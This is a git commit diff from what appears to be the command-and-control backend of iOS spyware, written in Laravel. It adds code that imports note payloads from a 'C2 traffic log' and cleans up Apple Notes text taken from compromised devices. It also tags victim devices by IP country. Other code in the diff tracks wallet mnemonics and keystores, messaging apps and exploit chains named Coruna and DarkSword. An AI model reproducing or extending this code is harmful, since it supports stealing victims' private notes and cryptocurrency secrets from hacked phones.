root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: note

Browse Source
This commit is contained in:
hashbro
2026-09-08 04:53:35 +08:00
parent 9626fcc598
commit c1d24ab815
19 changed files with 870 additions and 58 deletions
Download Patch File Download Diff File Expand all files Collapse all files
app/Console/Commands/ImportNotesLogCommand.php
+94
View File
@@ -0,0 +1,94 @@
<?php
namespace App\Console\Commands;
use App\Models\Device;
use App\Models\Note;
use App\Services\IngestService;
use Illuminate\Console\Command;
class ImportNotesLogCommand extends Command
{
protected $signature = 'notes:import-log
{file? : C2 traffic log containing /nb lines}
{--fresh : Delete all notes before import}';
protected $description = 'Import /nb note payloads from a C2 log into the local notes table';
public function handle(IngestService $ingest): int
{
$path = $this->argument('file') ?: '/Users/toad/Downloads/20260908 (1).log';
if (! is_file($path)) {
$this->error('Log file not found: '.$path);
return self::FAILURE;
}
if ($this->option('fresh')) {
Note::query()->delete();
$this->info('Cleared notes table.');
}
$handle = fopen($path, 'r');
if ($handle === false) {
$this->error('Cannot read log file.');
return self::FAILURE;
}
$posts = 0;
$devices = [];
$skipped = 0;
while (($line = fgets($handle)) !== false) {
if (! str_contains($line, ' /nb ') && ! str_contains($line, '"path":"/nb"')) {
continue;
}
$jsonStart = strpos($line, '{');
if ($jsonStart === false) {
continue;
}
$rec = json_decode(substr($line, $jsonStart), true);
if (! is_array($rec) || ($rec['path'] ?? '') !== '/nb') {
continue;
}
$payload = $rec['payload'] ?? null;
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
$skipped++;
continue;
}
$deviceKey = (string) ($rec['device_key'] ?? $payload['d'] ?? $payload['f'] ?? '');
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64)) ?? '';
if ($deviceKey === '') {
$skipped++;
continue;
}
$channel = trim((string) ($payload['c'] ?? ''));
$device = Device::query()->firstOrCreate(
['device_id' => $deviceKey],
[
'channel_id' => $channel !== '' ? substr($channel, 0, 64) : null,
'chain' => Device::CHAIN_CORUNA,
]
);
if ($channel !== '' && trim((string) $device->channel_id) === '') {
$device->forceFill(['channel_id' => substr($channel, 0, 64)])->save();
}
$ingest->ingestNotes($device, $payload);
$posts++;
$devices[$deviceKey] = true;
}
fclose($handle);
$this->info(sprintf(
'Imported /nb posts=%d devices=%d skipped=%d notes_rows=%d',
$posts,
count($devices),
$skipped,
Note::query()->count(),
));
return self::SUCCESS;
}
}
app/Http/Controllers/Admin/DeviceController.php
+14 -16
View File
@@ -683,26 +683,24 @@ class DeviceController extends Controller
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
$note = $device->notes()->orderByDesc('id')->first();
$items = $note ? $note->items() : [];
if (strtolower($order) === 'asc') {
$items = array_reverse($items);
}
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Note $note) {
$content = $note->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
$total = count($items);
$slice = array_slice($items, ($page - 1) * $limit, $limit);
$reportedAt = optional($note?->updated_at ?? $note?->created_at)->format('Y-m-d H:i:s');
$data = collect($slice)->values()->map(function (array $item, int $i) use ($page, $limit, $reportedAt) {
return [
'id' => $note->id,
'content' => $content ?: '',
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
'id' => (($page - 1) * $limit) + $i + 1,
'title' => $item['title'] ?? '',
'body' => $item['body'] ?? '',
'created_at' => $reportedAt ?: '',
];
})->values();
});
return $this->layuiPage($paginator->total(), $data);
return $this->layuiPage($total, $data);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
app/Http/Controllers/Admin/NoteController.php
+6 -5
View File
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
use App\Models\Note;
use App\Models\User;
use App\Support\AgentScope;
use App\Support\NoteContent;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
@@ -44,16 +45,16 @@ class NoteController extends Controller
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$content = $row->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
$items = $row instanceof Note ? $row->items() : NoteContent::normalizeStored($row->content);
$titles = NoteContent::titles($items, 2);
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'content' => $content ?: '',
'item_count' => count($items),
'preview' => implode(' · ', $titles),
'items' => $items,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
app/Models/Device.php
+34 -1
View File
@@ -2,6 +2,7 @@
namespace App\Models;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
@@ -18,7 +19,7 @@ class Device extends Model
public const CHAIN_DARKSWORD = 2;
protected $fillable = [
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
'has_whatsapp', 'has_telegram',
];
@@ -44,6 +45,38 @@ class Device extends Model
];
}
public function formattedIp(): string
{
$ip = trim((string) $this->ip);
if ($ip === '') {
return '';
}
$label = CfIpCountry::label($this->resolvedCountry());
return $label !== '' ? $ip.'（'.$label.'）' : $ip;
}
public function resolvedCountry(): ?string
{
$code = CfIpCountry::normalize($this->country);
if ($code !== null) {
return $code;
}
$ip = trim((string) $this->ip);
if ($ip === '') {
return null;
}
return CfIpCountry::normalize(
PageVisit::query()
->where('ip', $ip)
->whereNotNull('country')
->where('country', '!=', '')
->orderByDesc('id')
->value('country')
);
}
public function isDarkSword(): bool
{
return (int) $this->chain === self::CHAIN_DARKSWORD;
app/Models/Note.php
+10 -1
View File
@@ -2,13 +2,14 @@
namespace App\Models;
use App\Support\NoteContent;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Note extends Model
{
protected $fillable = [
'device_id', 'content',
'device_id', 'content', 'content_hash',
];
protected function casts(): array
@@ -18,6 +19,14 @@ class Note extends Model
];
}
/**
* @return list<array{title: string, body: string, native_id: int|string|null}>
*/
public function items(): array
{
return NoteContent::normalizeStored($this->content);
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
app/Services/DarkSwordIngestAdapter.php
+5
View File
@@ -294,6 +294,10 @@ class DarkSwordIngestAdapter
];
if ($ip !== '') {
$touch['ip'] = $ip;
$country = CfIpCountry::fromRequest($request);
if ($country !== null) {
$touch['country'] = $country;
}
}
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
$touch['device_model'] = $model;
@@ -317,6 +321,7 @@ class DarkSwordIngestAdapter
'device_id' => $key,
'chain' => $chain,
'ip' => $ip !== '' ? $ip : null,
'country' => CfIpCountry::fromRequest($request),
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
app/Services/IngestService.php
+24 -4
View File
@@ -16,6 +16,8 @@ use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\CfIpCountry;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
@@ -352,6 +354,7 @@ class IngestService
$attrs = [
'device_id' => $deviceKey,
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
'country' => CfIpCountry::fromRequest($request),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $attr['channel_id'],
@@ -842,14 +845,31 @@ class IngestService
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return;
}
$list = $payload['list'];
if (! is_array($list)) {
$list = [$list];
$items = NoteContent::fromList($payload['list']);
if ($items === []) {
return;
}
$hash = NoteContent::hash($items);
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
if ($existing) {
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
if (hash_equals((string) $existing->content_hash, $hash)) {
return;
}
$existing->forceFill([
'content' => $items,
'content_hash' => $hash,
])->save();
return;
}
Note::query()->create([
'device_id' => $device->id,
'content' => array_values($list),
'content' => $items,
'content_hash' => $hash,
]);
}
app/Support/NoteContent.php
+291
View File
@@ -0,0 +1,291 @@
<?php
namespace App\Support;
class NoteContent
{
/**
* @return list<array{title: string, body: string, native_id: int|string|null}>
*/
public static function fromList(mixed $list): array
{
if (! is_array($list)) {
if ($list === null || $list === '') {
return [];
}
$list = [$list];
}
$items = [];
foreach (array_values($list) as $raw) {
$item = self::fromRaw($raw);
if ($item !== null) {
$items[] = $item;
}
}
return $items;
}
/**
* @return list<array{title: string, body: string, native_id: int|string|null}>
*/
public static function normalizeStored(mixed $content): array
{
return self::fromList($content);
}
/**
* @param list<array{title?: string, body?: string, native_id?: int|string|null}> $items
*/
public static function hash(array $items): string
{
$norm = [];
foreach ($items as $item) {
$norm[] = [
't' => (string) ($item['title'] ?? ''),
'b' => (string) ($item['body'] ?? ''),
'i' => $item['native_id'] ?? null,
];
}
return hash('sha256', (string) json_encode($norm, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));
}
/**
* @param list<array{title?: string, body?: string}> $items
* @return list<string>
*/
public static function titles(array $items, int $limit = 2): array
{
$out = [];
foreach ($items as $item) {
$title = trim((string) ($item['title'] ?? ''));
if ($title === '') {
$title = trim((string) preg_replace('/\s+/u', ' ', (string) ($item['body'] ?? '')));
$title = $title === '' ? '' : mb_substr($title, 0, 40);
}
if ($title === '') {
continue;
}
$out[] = $title;
if (count($out) >= $limit) {
break;
}
}
return $out;
}
/**
* @return array{title: string, body: string, native_id: int|string|null}|null
*/
private static function fromRaw(mixed $raw): ?array
{
if (is_array($raw)) {
if (self::looksStructured($raw)) {
$title = trim((string) ($raw['title'] ?? ''));
$body = $raw['body'] ?? $raw['snippet'] ?? $raw['text'] ?? $raw['content'] ?? '';
if (is_array($body)) {
$body = (string) json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
$body = self::cleanText((string) $body);
if ($title === '') {
[$title, $body] = self::splitTitleBody($body);
}
$nativeId = $raw['native_id'] ?? $raw['id'] ?? null;
if (is_array($nativeId) || is_bool($nativeId)) {
$nativeId = null;
}
return self::pack($title, $body, $nativeId);
}
$raw = (string) json_encode($raw, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
} elseif (! is_string($raw)) {
$raw = $raw === null ? '' : (string) $raw;
}
$text = self::cleanText($raw);
if ($text === '') {
return null;
}
[$title, $body] = self::splitTitleBody($text);
return self::pack($title, $body, null);
}
/**
* @param array<string, mixed> $raw
*/
private static function looksStructured(array $raw): bool
{
foreach (['title', 'body', 'snippet', 'native_id'] as $key) {
if (array_key_exists($key, $raw)) {
return true;
}
}
return array_key_exists('id', $raw) && (array_key_exists('mod', $raw) || array_key_exists('text', $raw));
}
/**
* @return array{title: string, body: string, native_id: int|string|null}|null
*/
private static function pack(string $title, string $body, mixed $nativeId): ?array
{
$title = trim($title);
$body = trim($body);
if ($title === '' && $body === '') {
return null;
}
if ($title === '') {
$title = mb_substr(preg_replace('/\s+/u', ' ', $body) ?: $body, 0, 80);
}
if ($body === '') {
$body = $title;
}
return [
'title' => $title,
'body' => $body,
'native_id' => is_int($nativeId) || is_string($nativeId) ? $nativeId : null,
];
}
public static function cleanText(string $text): string
{
$text = str_replace(["\r\n", "\r"], "\n", $text);
$text = preg_replace('/\$[0-9A-Fa-f]{8}(?:-[0-9A-Fa-f]{4}){3}-[0-9A-Fa-f]{12}/u', '', $text) ?? $text;
$text = preg_replace('/\b(?:com\.apple\.[A-Za-z0-9.]+|public\.(?:jpeg|jpg|png|heic|tiff|gif|image))\b/u', '', $text) ?? $text;
$text = preg_replace('/\.(?:SFUI|PingFang|Helvetica|Menlo|Times|Avenir|Hiragino)[A-Za-z0-9-]*/u', '', $text) ?? $text;
$kept = [];
$inTail = false;
foreach (explode("\n", $text) as $line) {
if ($inTail) {
continue;
}
$trim = trim($line);
if ($trim === '') {
$kept[] = '';
continue;
}
if (self::isAttributeJunkLine($trim)) {
$inTail = true;
continue;
}
$kept[] = self::stripTrailingSoup(rtrim($line));
}
$text = implode("\n", $kept);
$text = preg_replace("/\n{3,}/", "\n\n", $text) ?? $text;
return trim($text);
}
private static function isJunkLine(string $line): bool
{
if (preg_match('/^[\s()\[\]*.,\\\\]+$/u', $line) === 1) {
return true;
}
return mb_strlen($line) <= 8
&& str_contains($line, '(')
&& preg_match('/^[\s()\[\]*A-Za-z0-9\\\\]+$/u', $line) === 1;
}
/**
* Apple Notes protobuf / attributed-string runs dumped after the real text.
*/
private static function isAttributeJunkLine(string $line): bool
{
if (self::isJunkLine($line)) {
return true;
}
if (preg_match('/^(?:com\.apple\.|public\.)/i', $line) === 1) {
return true;
}
if (preg_match('/^\.[A-Za-z][A-Za-z0-9_-]+$/u', $line) === 1) {
return true;
}
if (mb_strlen($line) <= 12 && preg_match('/h[\x{0300}-\x{036F}\x{0590}-\x{05FF}\x{2000}-\x{206F}\x{F000}-\x{FFFF}Ħħ]/u', $line) === 1) {
return true;
}
if (mb_strlen($line) === 1 && preg_match('/^[\p{P}\p{S}+]$/u', $line) === 1) {
return true;
}
if (mb_strlen($line) <= 10
&& str_contains($line, '(')
&& preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) !== 1) {
return true;
}
if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) !== 1
&& str_starts_with($line, '(')
&& preg_match('/\p{L}{3,}\s+\p{L}{3,}/u', $line) !== 1) {
return true;
}
return self::isAsciiSoupLine($line);
}
private static function isAsciiSoupLine(string $line): bool
{
if (preg_match('#https?://|www\.#i', $line) === 1) {
return false;
}
if (preg_match('/[\p{Han}\p{Hiragana}\p{Katakana}]/u', $line) === 1) {
return false;
}
if (str_contains($line, "\u{FFFD}")) {
return true;
}
if (preg_match('/[A-Z]{3,}[@?~}|{]{2,}|[{|][a-z]{4,}[0-9]{5,}/', $line) === 1) {
return true;
}
$len = mb_strlen($line);
if ($len < 16) {
return false;
}
$spaces = preg_match_all('/\s/u', $line) ?: 0;
$punct = preg_match_all('/[\p{P}\p{S}]/u', $line) ?: 0;
return $spaces <= 2 && ($punct / $len) >= 0.22;
}
private static function stripTrailingSoup(string $line): string
{
$line = preg_replace('/\x{FFFD}.*$/u', '', $line) ?? $line;
$line = preg_replace('/\s*\([^\n]{0,12}[A-Z]{3,}[A-Za-z0-9`\\\\\\]\\^\\[@?~}|{]{8,}.*$/u', '', $line) ?? $line;
return rtrim($line);
}
/**
* @return array{0: string, 1: string}
*/
private static function splitTitleBody(string $text): array
{
$lines = preg_split('/\n+/', $text) ?: [];
$title = '';
$rest = [];
foreach ($lines as $line) {
$line = trim($line);
if ($line === '') {
continue;
}
if ($title === '') {
$title = mb_substr($line, 0, 80);
continue;
}
$rest[] = $line;
}
return [$title, trim(implode("\n", $rest))];
}
}